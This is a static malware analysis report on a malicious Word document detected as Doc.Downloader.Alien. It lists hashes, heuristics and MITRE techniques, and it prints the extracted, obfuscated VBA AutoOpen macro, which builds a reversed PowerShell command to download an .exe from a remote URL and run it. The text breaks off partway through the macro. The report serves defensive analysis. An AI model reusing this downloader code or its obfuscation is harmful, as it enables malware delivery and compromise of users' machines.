Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7048940990d05b91…

MALICIOUS

Office (OLE)

78.2 KB Created: 2018-09-14 19:13:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: d6b65db09cf72dc26239b461aa3cd8be SHA-1: 4451e31791604e7cbd315122fc5d1890b8479c86 SHA-256: 7048940990d05b915ac7cdceac63ffc036278e6a9669fc31d4c02abb4cc5ad4f
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The presence of an AutoOpen VBA macro, identified by multiple heuristics, strongly suggests malicious intent. The macro attempts to execute a shell command using obfuscated variables, likely to download and run a secondary payload. The ClamAV detection as 'Doc.Downloader.Alien-6685984-0' further supports this assessment.

Heuristics 5

  • ClamAV: Doc.Downloader.Alien-6685984-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Alien-6685984-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8882 bytes
SHA-256: d7d6c34d2293d2eefdf58bbb0c7ace0e4503cd0395ddc0d0ce53fcee022d8187
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ikKjUCWOiHiZ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On _
Error _
Resume _
Next
Const ziiAUZMfoIp = 0
   Dim ESDZzr()
ReDim ESDZzr(2)
ESDZzr(0) = ERwbPk * UVoBv / 42623 / jmZOj * wDSOi * mWqWA / KZssI * MiXcWb / vZTXj / KQpsAz / wvzBdw / blwPod
ESDZzr(1) = BziWhr / jtTwKs / IUhrsa / QlVwXm / KdDiDi / 18030 * LVTHj / BiCTF * SQOXvD * kMIYJ

   Dim QPQGK()
ReDim QPQGK(2)
QPQGK(0) = (61505 * JMYlrT) * (GTfSn / 41912)
QPQGK(1) = 87479 / fnzTY / CzJDZ * 77279 / 70878 / 27585 * 73268 / vTcHC * KMvVFo / rRofCj

   Dim qHjGP()
ReDim qHjGP(4)
qHjGP(0) = (27094 * RfishS / 44653 / smLjc)
qHjGP(1) = YCAOES * lIiiJF / LtAnl / uPrNGa * 38074 * vtrDzT
qHjGP(2) = 34617 / 9454 / 66899 * LvvjWw * YNSIz * YuAtIK * 76081 * dzopP / bJmmGK * cqjNs / ziNBov * 15696
qHjGP(3) = IzZJu * lhvHqH * (mOafB * dvETfQ * oYQzA / GXSKNd)

Shell@ SCsJMiGF + uuZXlqMUmV + fXEjtsfG, CInt(ziiAUZMfoIp)
   Dim XLhliz()
ReDim XLhliz(2)
XLhliz(0) = OzsiB * WrIbH * 46627 / LsvOBH * 83239 * bWmGfk / DXwNqV * lzJWt * dhBjH / jfQTjW
XLhliz(1) = 12343 / maGbW * (tolfti / 33633 * GvFiO / MuVDwr)

   Dim zGwAh()
ReDim zGwAh(4)
zGwAh(0) = 39739 * 7919 / 26185 * pZGAJ * 87875 / 15452 * YcEdcN / bANiTk
zGwAh(1) = IJdwSb * JrQYSz / YWvmlN * 13071 / InVtJY / HZuRHQ * WMajuP / oEKPED
zGwAh(2) = 57693 * rhWai / 2765 * bZRLck / (iBqRcz / LETrtU)
zGwAh(3) = LdFVCo / Mujluj / 71815 / 3106

   Dim mAwaIZ()
ReDim mAwaIZ(3)
mAwaIZ(0) = aikjcD / lhIQvM * (80240 / vHRGJ / hTwJpj / sWICD * 35736 * YECkqz)
mAwaIZ(1) = 488 / XUFDt / (EqICQ * 12414 * 85895 / nWmUd * 86610 * AOstu / 2094 * FhPLfU * (bEmqrn * zznMCN / 32509 / zWUHCX))
mAwaIZ(2) = NJzMN * bnFaYP / 21945 * AdlFi * 2001 / Fhrna * jsrYR * Vqdrf

End Sub



Attribute VB_Name = "mEMrjFYLthAFIo"
Function SCsJMiGF()

On _
Error _
Resume _
Next
Dim HiCbzO()
ReDim HiCbzO(3)
HiCbzO(0) = (40061 / JaHnzG * (PzANwV * mVrqqf * 63906 / kAztWw * 98978 / QpwqJ))
HiCbzO(1) = 34834 * 49509 * 92684 * 19170 / (33381 / wwmTE / NjiPf / pBaqG)
HiCbzO(2) = (DkiQnk * 46806) / (99241 * fUvvjY * (ikzjs / 87114 * 16350 / RwljH))

   Dim bTGGjd()
ReDim bTGGjd(5)
bTGGjd(0) = KCvFVh / mTwjS / 36103 * sZzKcP * rzospz * cpartz / vlnXa / 701 / (58795 * mCpWri)
bTGGjd(1) = 87105 / 16562 / 93042 / OjTDG / fkWJi * pYTQz
bTGGjd(2) = KmBPUO * mCTGJ / 68063 / dnfPGr * 60701 / 49846 / 84428 / dUwONR
bTGGjd(3) = (akFwJ / zPErT / MiNaz * BsDKGI / (70473 * KlzPzY / (PfYdiT / jABALP / (60095 * QuATL * zQizN / sNPpt))))
bTGGjd(4) = 90209 / wzowP * QMDJFw * PwUFP * 57262 * NPOuj / EsSkM / QqiNc / (95452 / 72607 * 86784 * LwHZAs)

AEvtphdK = Format(Chr(0 + 11 + 16 + 5 + 67)) + "md /V:^O/" + Format(Chr(0 + 7 + 11 + 3 + 46)) + Format(Chr(0 + 3 + 5 + 1 + 25)) + "s^e^t ^LE^Fq=   ^" + "  ^     ^ ^ ^ ^ ^ ^ ^ ^}}{^h" + Format(Chr(0 + 11 + 16 + 5 + 67)) + "^" + "t^a" + Format(Chr(0 + 11 + 16 + 5 + 67)) + "^}^;kaerb;^B^MU$^ m^e^t" + "^I-^e^k^ovnI;)^B^" + "M^U^$^ ,^w^w^j^$(el^i^Fdao" + "lnwoD.^k" + Format(Chr(0 + 7 + 11 + 3 + 46)) + "^p^$^{^yr^t{)n^PI" + "^$^ ni^ wwj^$(h" + Format(Chr(0 + 11 + 16 + 5 + 67)) + "^a^er^" + "o^f^;'^" + "e^x^e.^'" + "^+V^z^w^$^+'^\'+" + Format(Chr(0 + 11 + 16 + 5 + 67)) + "^il^b^up:vne^" + "$=BM^U^$^;'57^8' ^=^ Vz^w^$;"
Dim KZPhLj()
ReDim KZPhLj(5)
KZPhLj(0) = (tPtWYu / wwfij * sHdkRC * HVjdE / 97123 / amrif / ciirW * RiKaU)
KZPhLj(1) = TJBCw * PJNdYj / 32405 * aVsKG * 94187 / fHJZlO
KZPhLj(2) = lowuLP / pYXpMS / (41729 / zJwbEw * lAUXNo * 2351)
KZPhLj(3) = 83874 * LQUYZh * XBhkwU / uiirI * (99076 / KJzoDw * oBwojv / vwzOSf / 53405 / WLzQf)
KZPhLj(4) = tjwssB * HVjVl / izlwQ * qwfjd * 81153 / zknnp

   Dim AuSAv()
ReDim AuSAv(2)
AuSAv(0) = 77854 * dodOsh / salPiq / bNDSCY * 5000 * ThtiU
AuSAv(1) = ohkBb / MJCSkJ / 85113 * KCYGw / YhPhsQ * 82297

uZGJWPkoGkI = ")'^@'(t^il^pS^.^'^y" + "qF^PAi^i/^ur^.ot^oh^p-" + "^avo^s^are^k//:p" + "tth
... (truncated)

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